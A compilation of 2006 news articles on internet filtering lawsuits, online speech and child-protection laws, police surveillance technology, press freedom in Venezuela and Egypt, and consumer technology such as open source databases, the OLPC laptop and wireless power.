The lawsuit, filed in U.S. District Court here, seeks an order directing the North Central Regional Library District to provide unblocked access to the Internet when adults request it.

The ACLU of Washington brought suit on behalf of three individuals and the pro-gun Second Amendment Foundation over the library district's Internet filter on computers.

The lawsuit contends the library's policy of refusing to disable its Internet filters when requested for lawful purposes is unconstitutional and goes beyond what federal law requires.

"Libraries should not deny adults using publicly available computers the opportunity to view research material and other lawful information," ACLU Legal Director Sarah Dunne said in a release.

Dean Marney, director of the library district based in Wenatchee, said he was surprised by the lawsuit. He said the library recently changed its filtering software that allows sites to be unblocked. However, federal law does not require that requests to remove filters be granted, he said.

Doug Honig, an ACLU spokesman in Seattle, said new filtering software is "a step in the right direction," but does not change the underlying legal issue: whether libraries should act as gatekeepers of what adults do legally online.

Libraries that receive funds for Internet access under two specific federal programs are required to have the ability to block minors from seeing visual depictions of sexual activity.

But the U.S. Supreme Court has interpreted the law to mean that libraries should disable those filters upon the request of an adult.

The plaintiffs include a Ferry County woman who wanted to do research on drugs and alcohol while studying at Eastern Washington University; a professional photographer blocked from researching art galleries and health issues; and an Okanogan man unable to access a Web log he maintains, as well information relating to gun use by hunters.

The Second Amendment Foundation is another plaintiff.

The Bellevue-based organization contends the library district blocked online access to Women & Guns, a magazine it sponsors covering topics such as self-defense, recreational shooting, new products and legal issues.

The district has 28 branch libraries in Chelan, Douglas, Ferry, Grant and Okanogan counties.
http://seattlepi.nwsource.com/local/...y_Filters.html





Lawyers Argue Validity of '98 Online Law
Maryclaire Dale

Justice Department attorneys, defending a law aimed at keeping online pornography from minors, argued that software filters often block valid sites - on gay rights or sexual health, for example - that teens might seek out.

"Filters are hindering minors from learning about the world around them. That's a huge problem," government lawyer Joel McElvain said Monday. "There may be reasons the teenagers have problems speaking to their parents about these (issues)."

Under the 1998 Child Online Protection Act, commercial Web publishers who fail to keep material "harmful to minors" away from children could face fines and even prison time. The law has never taken effect, because of a long-running legal challenge filed by Salon.com, the Philadelphia Gay News and other groups represented by the American Civil Liberties Union.

Closing arguments concluded Monday before Senior U.S. District Judge Lowell Reed Jr., ending four weeks of testimony.

Justice attorneys evoked problems with the software filters even as they had defended their use in a 2000 law requiring schools and libraries to block porn if they receive certain federal funds. The high court upheld that law in 2003.

Opponents say the 1998 law is overly vague and would have a chilling effect on their work. They also say it would not apply to foreign Web operators or streaming video and audio. The ACLU argues that filters are more effective than legislation, because they let parents set limits based on their own values and their children's ages.

"If you're a parent who doesn't want sexually explicit material slipping through, then set it (the filter) strictly," ACLU lawyer Chris Hansen told the judge Monday.

The U.S. Supreme Court, indicating the government was unlikely to prevail, granted the ACLU a temporary injunction in 2004.

Technology experts not involved in the case have noted that many parents now have more pressing concerns about their children's use of the Internet, such as online predators and the popularity of social-networking sites.

The Justice Department raised eyebrows as it prepared for trial when it demanded reams of privately held information from Google Inc., Yahoo Inc. and other Internet companies for a study on the prevalence of online pornography.

Google fought a subpoena to turn over 1 million sample queries and 1 million Web addresses in its database, citing trade secrets. A judge sharply limited the scope of the subpoena.

The resulting study, conducted by a University of California, Berkeley statistics professor, concluded that about 1 percent of Web sites indexed by Google and Microsoft Corp. are sexually explicit and that about 6 percent of searches yield at least one explicit Web site.

Hansen said filters can be as much as 98 percent effective in blocking explicit material, even if the most stringent filters also "overblock" a large number of acceptable sites.

Congress first tried to regulate online pornography in 1996 with a law that was largely struck down by the Supreme Court the following year.

The 1998 law narrows the restrictions to commercial Web sites and defines objectionable material as obscene or that which offends "contemporary community standards."

The law, signed by then-President Clinton, requires Web site operators to prevent youngsters from seeing material harmful to children by demanding proof of age - such as a credit card number - from computer users. It would impose a $50,000 fine and six-month prison term on commercial Web site operators that allow minors to view such content.
http://hosted.ap.org/dynamic/stories...11-20-18-30-51





State High Court Upholds Internet Child-Sex Laws
Bill Kaczor

Two state laws designed to crack down on sexual predators who use the Internet to prey on children do not violate constitutional rights of free speech and interstate commerce, the Florida Supreme Court ruled Thursday.

The justices unanimously upheld statutes that make it a crime to use online services to lure or entice a child and transmit material harmful to a minor.

"The state has a compelling interest in protecting the physical and psychological well-being of minors from harmful materials," Justice Peggy Quince wrote for the court.

The decision upheld the convictions of a Virginia man who pleaded no contest to violating both laws shortly after they were enacted in 2002 through e-mail exchanges with a Columbia County sheriff's deputy posing as a 13-year-old girl named "Sandi."

They met in an Internet chat room called "I like older men."

Michael John Simmons, 47, of Spotsylvania, Va., was charged with sending nude pictures of himself to the fictitious teen, asking "Sandi" for a pair of her panties and encouraging her to meet him for sexual activities.

Deputies arrested Simmons when he arrived at a Lake City motel to meet "Sandi." He reserved the right to appeal when he entered his pleas and was sentenced to five years on probation.

The 1st District Court of Appeal then upheld his convictions and the laws.

Simmons appealed to the Supreme Court, arguing both statutes infringe on the federal government's constitutional authority over interstate commerce. He also contended the transmission law violates free speech and due process rights of the state and federal constitutions.

The latter differs from a similar but broader federal law that was struck down by the U.S. Supreme Court, the state justices decided. They noted the Florida law is limited to electronic mail sent to a specific individual that a defendant knows or believes is a minor and thus does not affect adult-to-adult messages.

"The statute does not apply to Web sites or other materials posted on the Internet for general public viewing," Quince wrote.

It also covers only material that appeals to the "prurient, shameful or morbid interests of minors" that is "patently offensive" and "without serious literary, artistic, political or scientific value for minors."

"Thus, a depiction of Michelangelo's David transmitted for an art history class would not meet the statutory definition," Quince wrote. "Nor would an illustration of human genitalia intended for a sex education or biology class."

The high court also rejected arguments the laws violate the U.S. Constitution's Commerce Clause because they are narrowly tailored to serve a compelling state interest and apply only to "electronic mail" sent to specific minors in Florida.

The justices, though, interpreted that term to include instant message communications as well as e-mail.
http://www.heraldtribune.com/apps/pb...0521/-1/NEWS08





Tough Choice for CRTC in Hate Blocking Case
Michael Geist

More than a decade ago, John Gilmore, one of the founders of the Electronic Frontier Foundation, coined the phrase "the Internet interprets censorship as damage and routes around it." Last week, the Canadian Radio-television and Telecommunications Commission declined to wade into this issue in a case that placed the spotlight on how Canada's Internet service providers treat illegal content that originates outside the country.

The person behind the case was Richard Warman, an Ottawa lawyer who is one of Canada's leading activists against Internet-based hate. Warman has filed numerous complaints with the Canadian Human Rights Commission against Canadian-based hate sites, arguing that those sites violate the law. The Commission has sided with Warman on several occasions, most recently in a case against a London, Ontario man who was sentenced by a federal court judge to nine months in prison.

Reacting to the jail sentence, several U.S.-based sites directly targeted Warman, mounting death threats against him. Warman asked U.S. law enforcement authorities to take action against the sites, but when they failed to do so (those cases are under investigation), he filed his groundbreaking application with the CRTC.

Although several news organizations reported that Warman was asking the CRTC to order Canadian ISPs to block access to the offending sites, the application did not seek government-mandated censorship of foreign content. Instead, the CRTC was asked to authorize Canada's telecommunications carriers to voluntarily block the sites (the Telecommunications Act would ordinarily render such blocking unlawful). Therefore, even if the CRTC had issued the order, there was no guarantee that the carriers would have blocked the sites.

On Friday, the CRTC denied Warman's request, noting that the ISPs and the affected sites were not provided with advance notice nor the opportunity to present their views. While the CRTC was right to emphasize that all parties should be heard, the issue should remain on the public agenda as important procedural safeguards should not be used as an excuse to leave it unresolved.

Had it addressed the substantive questions, the case would have presented an enormously difficult choice. There is little doubt that the content in question is illegal and that Warman faces a serious threat. By directly targeting Warman, the foreign sites have arguably brought themselves within Canada's jurisdiction. Further, by merely asking the CRTC to issue a voluntary order, Warman avoided state-sanctioned censorship and placed the issue in the hands of ISPs.

Despite the good intentions behind the application, however, there remains some cause for concern. First, it is unlikely that the order would have proven to be effective given that the CRTC's jurisdiction is limited to the major telecommunications carriers, with many ISPs remaining outside of its regulatory mandate.

Second, blocking technologies are notoriously overbroad. For example, when Telus last year blocked Voices for Change, a website supportive of one of its labour unions, a university study found that hundreds of additional websites were inadvertently blocked in the process. Although blocking technology may have improved by targeting domain names rather than IP addresses, there is a real risk of blocking legitimate content.

Third, blocking foreign content establishes a dangerous precedent that can easily be misused. While child pornography can and should be blocked since merely viewing such content is illegal, the prospect of extending blocking to hate speech, defamation, or even copyright infringement complicates the analysis considerably.

Regardless of one's views on the CRTC's denial of the application, there is likely wide agreement that Canada must begin to grapple with the Internet challenge of balancing free speech rights with rules that outlaw certain forms of speech that have been judged harmful to our multicultural society.

A policy framework that addresses these competing goals would likely include complaints mechanisms, a presumption that the content is lawful and must be disproved by a high standard of evidence, an opportunity to challenge blocking requests, appropriate judicial oversight, and full transparency about blocking activities. The job is not the CRTC's alone - law enforcement and the judiciary must surely be involved in the process of determining what may constitute unlawful content and the remedies that follow - but the regulator can assist in the process.

Critics are quick to draw parallels to Internet censorship in countries such as China. However, those countries involve state-based content blocking, with no transparency or legal recourse. In fact, several democracies - most notably Australia - have established limited blocking rules, while British Telecom, the UK's largest ISP, voluntarily blocks child pornography as part of its CleanFeed program.

Even with various legal safeguards, many Canadians would undoubtedly find the blocking of any content distasteful. Yet to do nothing is to leave in place an equally unpalatable outcome that silences those would speak out against unlawful hate speech for fear of personal harm. While the Internet raises some difficult policy challenges, few are more difficult than the one that came before the CRTC last week.
http://www.michaelgeist.ca/content/view/1392/159/





Computer Program Picks Out Suspects
David Reid

Police Chief Anthony R. Scott said yesterday he will take advantage of the state's offer to tap into a computer system that can identify suspects through the Registry of Motor Vehicle's Facial Recognition System.

In a recent letter to police chiefs throughout the state, RMV Registrar Anne L. Collins made the offer, which would allow local police to send digital images of suspects to the registry for identification.

Collins' letter said the software, which has been used successfully by the registry since May of this year, can compare locally-generated digital photos with the 9.5 million license images stored in the registry's data base. Advertisement

"I've already notified all my commanders, especially the detectives, that this is a nice tool for us to help catch criminals," Scott said.

The software, used by her agency in conjunction with State Police, has already helped to nab "several individuals who have fraudulently applied for multiple licenses or IDs," Collins wrote.

Local police throughout the state would be able to e-mail suspect photos, which would be run through the registry computers for a match using thousands of data points, such as eye color and size, hair patters and color, bone structure, blemishes, tattoos or other distinguishing marks.

Once a potential match is found, local police would be able to view the registry's photos on a state Web site.

Scott said his detectives could use the registry service to help identify suspects giving police false names or aliases.

Northampton Police Chief Russell J. Sienkiewicz said yesterday he also intends to make use of Collins' offer.

"Oh absolutely," said Sienkiewicz. Already, he said, his senior staff has begun to develop a policy on who and when the system would be used.

Both Scott and Sienkiewicz said the new identification tool will be used to augment other options they already employ, such as state and federal fingerprint identification systems accessible within minutes through computer links.

Collins said yesterday she has pitched the Facial Recognition System to state officials who investigate insurance fraud, which is a long-standing problem.

And she said the process has already borne fruit in efforts to stop identity theft, often used by impostors trying to obtain fake drivers' licenses. If the identity thieves' digital photos are already in the registry's system, Collins said, sharp-eyed registry employees can catch the rip-off before a new license is issued under the wrong name.

"If we can get (the impostor) under a different identity," she said, "we can spot him and stop him."
http://www.masslive.com/hampfrank/re...470.xml&coll=1





'Big Brother' Cameras Listen for Fights
Gemma Simpson

In U.K. public places, smarter closed-circuit TV cameras have been given the ability to listen for disturbances and also keep an eye on citizens.

The system has already been put into use in the Netherlands to listen for people speaking in aggressive tones, to try to counter violent attacks in Dutch streets, prisons and railways.

The aggression detector has been fitted to CCTV cameras on the streets of Groningen and Rotterdam in the Netherlands. In the U.K., London police also are considering installing the system, said Derek van der Vorst, the director of Sound Intelligence, the company that created the technology.

The system works by putting microphones in CCTV cameras to continually analyze the sound in the surrounding area. If aggressive tones are picked up, an alarm signal is automatically sent to the police, who can zoom in the camera to the location of the suspect sound and investigate the situation.

"Ninety percent of violent cases start with verbal aggression," Van der Vorst said. "With our system, the police can respond a lot quicker to a violent situation."

The sound system also means fewer people can monitor more cameras in surveillance centers, Vorst added.

Everyday mutterings are not detected by the system, though, Vorst said. "You cannot push a button to hear what people are saying," he said. "And even if you could, the microphones are 3 to 4 meters above the ground, so the words cannot be heard"

Pub brawls were cut by a quarter earlier this year in Yeovil, England, when a fingerprint-before-you-drink scheme was unveiled.
http://news.com.com/Big+Brother+came...3-6137888.html





The Beat With Head-Mounted Cameras
By Kablenet

Police officers in London have begun to use a camera mounted on their headgear in an effort to tackle anti-social behaviour.

Officers in the 19 safer neighbourhood teams in the Haringey area have been issued with eight cameras, each the size of an AA battery, that record video images to a special utility belt. They are activated by a switch on the belt.

The equipment, which costs around £1,800 per pack and is funded by Haringey Council's Safer Communities Partnership, will be used to gather images that could be used as evidence in future court proceedings, the Metropolitan Police (http://www.met.police.uk/) announced.

A spokesperson told GC News the standard camera can store up to 12 hours of video. An extra battery pack can extend this to up to 400 hours, although this makes the equipment much heavier.

Detective superintendent Richard Wood said: "The cameras will act as an excellent deterrent for any youngsters who are intent on causing trouble.

"Should anyone commit any offences the officers will instantly have the evidence to hand to help them apply for an ASBO or pursue criminal charges. If the cameras prove successful they will be deployed to other units within Haringey and could be used to assist police raids and officers working at football matches." ®

This article was originally published at Kablenet (http://www.kablenet.com/kd.nsf/Front...6?OpenDocument)
http://www.theregister.co.uk/2006/11...ras/print.html





Killings and Threats Rattle Journalists in Venezuela
Simon Romero

Nancy Cecilia Flores still trembles when she recalls how a gunman unloaded eight rounds into her father, Jesús Flores Rojas, a well-known journalist in this oil city.

It was 8:50 p.m. on Aug. 23. They had just returned from the pharmacy in her father’s prized possession, a 1979 Chevrolet Malibu. A young man approached as they entered their driveway, motioned for her to remain silent, then he did his work.

“He died immediately from the first bullet to enter his head,” Ms. Flores, 21, a soft-spoken chemistry major at a university here, said of her father. He was the third journalist killed in Venezuela this year, and the fifth since the beginning of 2002.

Though it is not clear that they were all related to the journalists’ work, human rights groups say, the killings and other aggression toward journalists point to a trend in which threats and intimidation have become all too common, even in what remains a flourishing free press under President Hugo Chávez.

Mr. Flores Rojas’s case has not been solved, and no evidence suggests the killing here and other incidents were orchestrated by Mr. Chávez’s government, whose political allies control this southeastern inland city. But the recent killings have heightened concern over the ability of journalists to do their jobs without retribution.

“The murder fits a pattern of falling within a gray zone in which the death of a journalist can seem as if it were a random crime,” said Ewald Scharfenberg, executive director of the Institute for Press and Society, an organization in Caracas that examines press freedom issues.

Opponents of the Venezuelan leader, particularly in the United States and the Bush administration, routinely criticize the state of press freedom under Mr. Chávez, who faces a presidential election on Dec. 3, with most polls showing him leading his opponents.

But the environment for the news media here remains exceptionally freewheeling and boisterous, even if somewhat tension filled. While the spate of killings this year has focused attention on the issue, killings of journalists in Venezuela trail those in Colombia and Mexico.

Tensions between the government and news organizations seem to have eased since the months after a short-lived coup in April 2002, which briefly removed Mr. Chávez and appeared to have had the blessing of some established news media groups and the Bush administration.

But Mr. Chávez and his policies are still pilloried daily on television, radio and in established daily newspapers in Caracas that are largely controlled by an elite at odds with his socialist-inspired policies. Meanwhile, pro-Chávez news organizations, many flush with government advertising, attack the political opposition with equal vehemence.

Beyond this vibrancy, however, is a pattern of confrontation that has become a defining feature of relations between the government and the news media in recent years. Mr. Chávez sometimes sets the tone, with senior officials repeating his assertions that his administration is under siege by entrenched media interests.

“Don’t be surprised if I say there are no more concessions to some TV channels,” Mr. Chávez said this month, signaling that his government could block some private television stations from renewing their broadcast licenses next year. His warning came after a private broadcaster showed a video of energy minister Rafael Ramírez calling on petroleum workers to support Mr. Chávez or face losing their jobs.

Cabinet ministers, meanwhile, point out that no journalists are in jail in Venezuela for criticizing the government, even though vaguely written legislation has increased penalties for defamation and extended the scope of laws relating to disrespect of public officials. Other legislation lets officials suspend broadcasting or revoke licenses if stations are deemed to condone or incite public disturbances.

“When taken together, these new rules have created an environment of self-censorship in Venezuela,” said José Miguel Vivanco, executive director for the Americas at Human Rights Watch in Washington.

Senior government officials respond angrily to groups who say press freedom is deteriorating in Venezuela. For instance, Communications Minister Willian Lara accused the Inter American Press Association of using “disinformation to attack the image of Venezuela” this year when the group expressed concern after the legislature of Bolívar State ordered the demolition of the offices of the newspaper Correo del Caroní. The newspaper, whose offices are still standing, had published articles critical of Gov. Francisco Rangel, an ally of Mr. Chávez.

Amid such tensions, the killings of journalists are unsettling to human rights groups and others here, particularly to other journalists, though it is not clear exactly what motivated many of the crimes. The number of homicides in Venezuela has surged 67 percent, to 9,962 in 2005, since Mr. Chávez took office, according to a study by Chacao, an opposition-led municipality in Caracas.

There are still questions, for instance, as to whether Jorge Aguirre, a photographer for the newspaper El Mundo, was killed because of his work. Mr. Aguirre was photographing a student demonstration in Caracas against violent crime in April when he was shot dead by a man on a motorcycle. A former police officer has been charged with the crime.

Another journalist, José Joaquín Tovar, director of the weekly newspaper Ahora, was killed in June, but apparently in circumstances involving a personal vendetta, Human Rights Watch said.

Then came the killing of Mr. Flores Rojas, a columnist for the anti-Chávez newspaper Región, based in Cumaná, a coastal city.

Mr. Flores Rojas, whose nickname was “Peacock,” a reference to his taste for fine clothing, would seem an unlikely target. A former public relations official for the opposition party Copei, at age 66 he was nearing the end of his journalistic career.

He rarely engaged in fierce criticism of regional officials, focusing instead on issues like an absence of traffic lights at a busy intersection in this dusty city of 130,000 surrounded by oil fields about 200 miles southeast of the capital. In one column, he questioned how a city councilman had acquired the money for a new Ford Focus.

Authorities have different views of the killing. Ernesto Paraqueima, the mayor of El Tigre and an official with Podemos, a party in Mr. Chávez’s coalition, said in a telephone interview that he viewed the incident as a “social crime that had been converted into a political crime.” Mr. Paraqueima emphasized that he doubted that any public official was behind the killing.

Lisandro Zapata, an official with the Criminal Investigations Police in Caracas who is in charge of the investigation, said his detectives were still poring over Mr. Flores Rojas’s work in search of leads. Mr. Zapata said he was almost certain that “an individual or a group of individuals” had planned the killing.

While the case remains unresolved, as if by coincidence, the gunman who is believed to be responsible for the killing, Luis Torres Pinto, was killed in a confrontation with the police several days later.

Ms. Flores said she identified the body of her father’s killer, but remained convinced he had been working for someone else. After killing Ms. Flores’s father, the gunman did not take any money or belongings or try to enter their home. He pointed his gun at Ms. Flores but did not shoot.

“The style of execution in this case and the subsequent elimination of the killer indicate that an intellectual author of the crime may remain at large,” said Mr. Scharfenberg, of the Institute for Press and Society.

Less than three months after her father was killed, Ms. Flores said she was disappointed that investigators had no further leads. Her mother, Nancy del Carmen Mota, 48, said in an interview: “I’ve given up hope of the real killer ever paying for this crime. That doesn’t happen in this country.”
http://www.nytimes.com/2006/11/19/wo...venezuela.html





Egypt Arrests Another Blog Critic

Police in Cairo have detained a blogger whose posts have been critical of the Egyptian government.

Rami Siyam, who blogs under the name of Ayyoub, was detained along with three friends after leaving the house of a fellow blogger late at night.

No reasons have been given for Mr Siyam's detention. The other friends were released after being questioned.

Human rights groups have accused Egypt of eroding freedom of speech by arresting several bloggers recently.

BBC Arab Affairs analyst Magdi Abdelhadi says blogging in Egypt is closely associated with political activism in a culture where democratic freedoms are severely restricted.

In recent weeks, bloggers have been exposing what they say was the sexual harassment of women at night in downtown Cairo in full view of police who did not intervene.

Mr Siyam's host on Saturday night, Muhammad Sharqawi, was detained for several weeks earlier this year.

The most recently detained blogger, Abdel Kareem Nabil, was detained in Alexandria on 6 November and was charged with disrupting public order, inciting religious hatred and defaming the president.

Amnesty International says Mr Amer appeared to have been detained for expressing critical views about Islam and Egypt's al-Azhar religious authorities.
http://news.bbc.co.uk/go/pr/fr/-/2/h...st/6164798.stm





Open Source Databases '60 Per Cent Cheaper'

Inexpensive products put price squeeze on database giants
Tom Sanders

Open source databases can save enterprises up to 60 per cent over proprietary products, according to data collected by Forrester Research.

Noel Yuhanna, a senior analyst at Forrester covering database management systems, estimated that average savings on the total cost of ownership are about 50 per cent. The data is based on surveys and customer interviews.

Open source databases such as Enterprise DB, Ingres and MySQL do not carry licence fees, and management tools tend to be less expensive than for proprietary databases from Oracle, Microsoft and IBM.

Open source offerings especially outshine their proprietary competitors in low-end applications with databases of less than 200GB in size.

"Eighty per cent of the applications typically use only 30 per cent of the features found in commercial databases," Yuhanna told vnunet.com. "The open source databases deliver those features today."

But the open source databases generally lack the features for mission critical applications, trailing behind their proprietary peers in security, uptime, performance and features such as XML support.

Enterprise applications from Oracle and SAP also do not support open source databases today, but Yuhanna expects that to change "within a couple of years".

Open source database vendors typically do not position their products as low-cost alternatives.

Dave Dargo, chief technology officer at Ingres, said earlier this year in an interview with vnunet.com that the company is looking at new ways to deliver and deploy software rather than trying to compete with Oracle on price.

But customers still consider price as the primary benefit of open source, according to Yuhanna.

"The number one reason why any customer would choose an open source database is cost. That still holds true today," he said.

But the low price is also enabling companies to set up new projects that would previously have been too expensive, such as data mining of log files and setting up data repositories.

In an attempt to fend off the competition from low-cost open source databases, Oracle launched a free database last year that is essentially a scaled down version of its enterprise grade Oracle Database 10g.

The application targets test deployments for developers and students rather than enterprises.
www.vnunet.com/2168971





First Look at $100 Laptop Linux Interface
Mike Clendenin

While many analysts are busy tearing down Sony PS3's and Nintendo Wii's, a few insiders are taking a closer look at the first batch of $100 (eventually) laptops to roll off the production lines in Shanghai as part of the One Laptop Per Child program backed by Nicholas Negroponte and MIT's Media Lab.

In the latest display of YouTube's utility for the tech community, a user posted a 5:53 first look at the latest iteration of the OLPC user interface, based on Linux. (See links below)

Earlier postings around the Internet have also shown how the physical design of the laptop has changed, including the elimination of the much touted on-board hand crank that was supposed to power the cheap, lime green laptop. It's still there, reportedly, but has now been moved to the power adapter.

The OLPC's produced earlier this week in Shanghai still need to go through loads of testing, such as knocking them off desks and dropping them in mud, as kids are wont to do. They may also be kicked around, like soccer balls, a popular sport in 99.9 percent of the world. "We have to test, test, test this machine under conditions of extreme cold, extreme heat, mud, dust, jungle and daily abuse by kids," said Negroponte, in an interview with the International Herald Tribune.

If they survive, the machines will be shipped off to places like Brazil, Argentina, Nigeria, Thailand and Libya, where strongman Col. Muammar el-Qaddafi signed a deal with Negroponte to supply the country's 1.2 million children with the machines and supporting infrastructure for $250 million.

That's $208.33 per laptop.

OLPC backers hope to get the effective cost of the laptops down to $100 somewhere between 2008 and 2010. Taiwan's Quanta Computer is the contract manufacturer.
http://www.eetimes.com/rss/showArtic...imes_ne wsRSS

YouTube demo of Linux interface





Eneco Details Revolutionary Power Chip
James Murray

Speaking in a hotel conference room near Tower Bridge late last week Dr Lew Brown, president and CEO of Eneco, is trying to convince a roomful of sceptical investors that its new chip technology will revolutionise the way we generate electricity. It has to be said that he is doing a pretty good job.

"This chip compares with the invention of the transistor, or the TV, or the first aircraft," he says. "It is a genuinely disruptive technology." Now if a claim like that won’t get investors' attention I'm not sure what will.

As reported last week, Eneco is a development stage company that claims to have invented and patented a "solid state energy conversion/generation chip" that will convert heat directly into electricity or alternatively refrigerate down to -200 degrees celsius when electricity is applied.

As one potential investor who has flown all the way from Scotland for the two hour presentation confides: "I had to come, it just sounded too good to be true."

He is not alone, interested parties have also traveled from Italy, Switzerland, Ireland and all over the UK to see if the miracle chip might deliver on its promises.

So is it too good to be true? Will it work?

Well, on first impressions it just might. And it could have a massive impact on how IT equipment, and in particular laptops and other mobile devices, are designed and powered.

The chip is based on the principles of thermionic energy conversion whereby the energy of a hot metal over comes the electrostatic forces holding electrons to its surface. These free electrons then pass across a vacuum to a cold metal and in the process create an electronic charge that can be harnessed.

The main difficulty with exploiting this process at a commercial level has been in creating the vacuum between the two metals. But Eneco has overcome the problem by replacing the vacuum with, what the brochure describes as, "a properly selected semiconductor thermoelectric that is thick enough to support a significant temperature differential between the emitter and the collector in order to achieve efficiencies of practical interest".

The result is a solid state energy conversion chip that can operate at temperatures of up to 600 degrees celcius and deliver absolute efficiencies in terms of how much heat energy is converted to electricity of between 20 and 30 percent.

If the energy conversion rate is impressive the potential list of practical applications proves equally exciting.

Initially Eneco plans to target the "low-hanging fruits" found in the existing thermoelectric market. The company says the technology would suit off-grid energy generation environments, such as pipeline monitoring stations and space craft, where its promises to outperform existing thermoelectric products. The company also expects to have its first order in this area from the US military soon.

The next potential market for Eneco lies in portable power, where it hopes the chips will ultimately replace high end lithium ion and polymer batteries used in laptops and other handheld devices.

The company says it is already in talks with both Dell and Apple about how the chips could be used in their devices. Initial talks have focused on integrating the heat conversion chips into the device so it can harness the heat generated by processors and turn it into electricity to power fans or other cooling technologies. By harnessing this power the devices, be they initially laptops and handhelds, or later even servers and PCs, should see improved energy efficiency, extended battery life and enhanced performance.

Brown also sees the chips ultimately replacing batteries altogether. He argues that by linking the modules to a microburner - a catalytic burner that produces between 275 and 600 degrees centigrade – you can heat the chips and generate enough power to run the device.

In theory this approach would be far cleaner as the burners that Eneco is planning to employ use Ethanol – a biofuel that is carbon neutral as the CO2 emitted when it burns is consumed as the original plant grows.

It is also more convenient than current battery systems, according to Brown, as it would prove lighter, less bulky, quieter and would not need recharging as "when the burner runs out you can instantly replace it by putting in a new fuel cassette".

The handheld device market represents a $5bn opportunity according to Eneco, but the real cash cow for the company appears will come from harnessing waste heat and turning it into power.

Currently we spend around $1,500bn a year globally on fossil fuels, but when they are burned around 50 percent of the energy is wasted. Eneco envisages a situation where integrating its chips onto the side of a furnace for example would help capture much of that wasted heat and turn it into useful energy.

This situation could be mirrored in any number of industrial environments where heat is created while on a smaller scale the chips could also replace alternators in cars.

Eneco claims all these scenarios are plausible even before you consider the chip's ability to act as a cheap and efficient cooling technology potentially deployed in air conditioning, refrigeration units, and, of course, IT equipment.

These theoretical deployments are all well and good but the big issue for investors is whether the technology works and how close Eneco is to realising these many applications. And, in fairness to Brown he has an answer to almost every question from the floor.

In response to questions about their durability he claims that current thermoelectric technologies used on NASA's spacecraft have a life of over twenty years with no degradation in performance and that the chips are expected to enjoy a similar lifespan. Meanwhile, the fact that there are no moving parts means there is no wear and therefore no maintenance requirements.

Questions about how easy it is to manufacture the chips are also batted away with Brown claiming it can be built using established microprocessor design practices, while he is equally adamant that 48 patents or patents pending mean there is no danger of the technology "being stolen from under us".

The main technical concern from the floor is around how you keep a temperature differential between two sides of a chip no thicker than a coin. But speaking to GBN after the presentation Brown explains that the design of modules incorporating multiple chips will resolve this issue.

"Within the module you have a top ceramic plate which makes heat distribution uniform, then you have the chips in between and another ceramic plate on the bottom that takes the heat away," he says. "These ceramic plates effectively act as insulation so the hot side will be significantly hotter than the cold side."

In theory this means you can stick the module on the side of a boiler, for example, and the external or cold side will still be very hot, but it'll be sufficiently cold compared to the side actually in contact with the boiler that there is a differential capable of generating a significant amount of electricity.

This makes sense but it does strike that the key issue for the chip when used practically will be in ensuring the insulation is good enough to make this differential sufficiently large so that enough energy is produced to make the deployment worthwhile.

So where is the fly in the ointment? Well, Brown does admit there are "issues" with the packaging. The chips are so small that packaging them together in a module is tricky and the focus of the development effort is currently in this area.

Eneco insists it is making good progress and its first products will be available by the end of next year or early 2008, but while this may be perfectly feasible in the thermoelectric market where the applications will be relatively simple getting the chips into other environments may prove trickier.

Talks with potential customers about how exactly the technology should be used are only at an early stage and even though firms such as Apple, Dell, Ford, BMW and Boeing are all interested there appear to be plenty of issues to iron out.

"We are talking to partners about what they need to do and what we need to do to get the first demonstration products built," admits Brown. "For example, we're not there yet [with Dell and Apple] on where [the chip will] sit on the motherboard. Though it is so small it could also be incorporated as part of the processor."

The lack of clarity on such fundamental design issues suggests it is likely to be some time before Eneco powered devices emerge. But if these issues can be overcome - and anyone with any experience of energy conversion technologies will tell you it remains a big if - the company does appear to have a truly disruptive technology that could deliver clean, cheap and efficient power to a raft of different industries.
http://green.itweek.co.uk/2006/11/eneco_details_r.html





Man Tries Wirelessly Boosting Batteries
Seth Borenstein

There may be hope - however distant - for recharging nearly drained cell phone, laptop and other batteries without plugging them into the wall, a scientist said.

Although he hasn't built a device yet, Massachusetts Institute of Technology physics professor Marin Soljacic said he has figured out how to wirelessly recharge batteries, much like the way people can surf the Web untethered.

In a presentation Tuesday at an American Institute of Physics forum in San Francisco, Soljacic made the case for using specially tuned waves of electromagnetism that don't radiate like normal waves.

The idea is that the recharge device and the receiver would be on the same acoustic frequency, similar to how a radio picks up only one channel at a time, so that the energy would mostly go straight to the intended battery, Soljacic said.

Some of the electromagnetic energy would go elsewhere but Sojacic doesn't believe it would harm people, noting that humans can endure strong magnetic fields with magnetic resonance imaging machines.

Soljacic envisions a device with wiring loops mounted on the ceiling of a room. He even sees this as a way of recharging electric buses on the go if there's a large "pipe" with recharging energy above a highway.

The concept of wirelessly recharging batteries has been dismissed before, deemed way too inefficient with too much energy put out into the air and little where it's supposed to go. But Soljacic said using special resonating frequencies could theoretically cut energy loss to only half of the energy produced, making the technology usable.

Soljacic said he is about to start experiments on his theory, which he believes would take at least a year to prove.

"It's too early to tell people 'why don't you take your battery and throw it away,'" Soljacic said.
http://hosted.ap.org/dynamic/stories...11-15-18-15-06





Wireless Technology Made Me Sick

Sufferers like Kate Figes say wi-fi leaves them feeling exhausted, nauseous and sleepless

It is the hi-tech tool that has revolutionised home and office alike - but a growing band of campaigners claim wi-fi is a major threat to health.

Sufferers say the electro-magnetic waves emitted by wireless computer networks - wi-fi - leave them feeling exhausted, nauseous and sleepless.

Author Kate Figes, spent hundreds of pounds installing wireless internet in her Stoke Newington home, then found it made her so ill she had to scrap it.

Ms Figes, 49, claims she is so sensitive to wi-fi's electro-magnetic waves she can instantly tell whether it is installed in a particular room.

This comes days after campaigners called for parents to remove the system from their homes to prevent harming their children's health.

Ms Figes said: "The day we installed wi-fi two years ago was the day I started to feel ill. At first I could not work out what the problem was. I had no idea why I felt so sick and run-down. But I knew that when I walked through the front door it felt like walking into a cloud of poison.

"Imagine being prodded all over your body by 1,000 fingers. That is what I felt when I walked into the house... Then I started to think it might be the wi-fi, so we scrapped it - and I felt better."

She added: "Most people I've spoken are really dismissive, but I don't think they've considered the long-term impact of this technology." The mother-of-two is just one of many people who contacted campaigning group ElectroSensitivityUK about their fears over the harmful effects of wi-fi.

A spokesman for the group said: "We've been inundated by calls from people who know this is affecting them, but in many cases are wary of speaking out. The telecommunications companies pour scorn, but none of them has been able to prove wi-fi is safe."

But Chris Guy, head of Reading University's School of Systems Engineering said: "The amount of power emitted by wi-fi devices is about a tenth of that given out by mobile phones. It is very, very unlikely that it is harmful because the power levels are so low. I just do not believe wi-fi is damaging people's health."
http://www.dailymail.co.uk/pages/liv...n_page_id=1770





Health Fears Lead Schools to Dismantle Wireless Networks
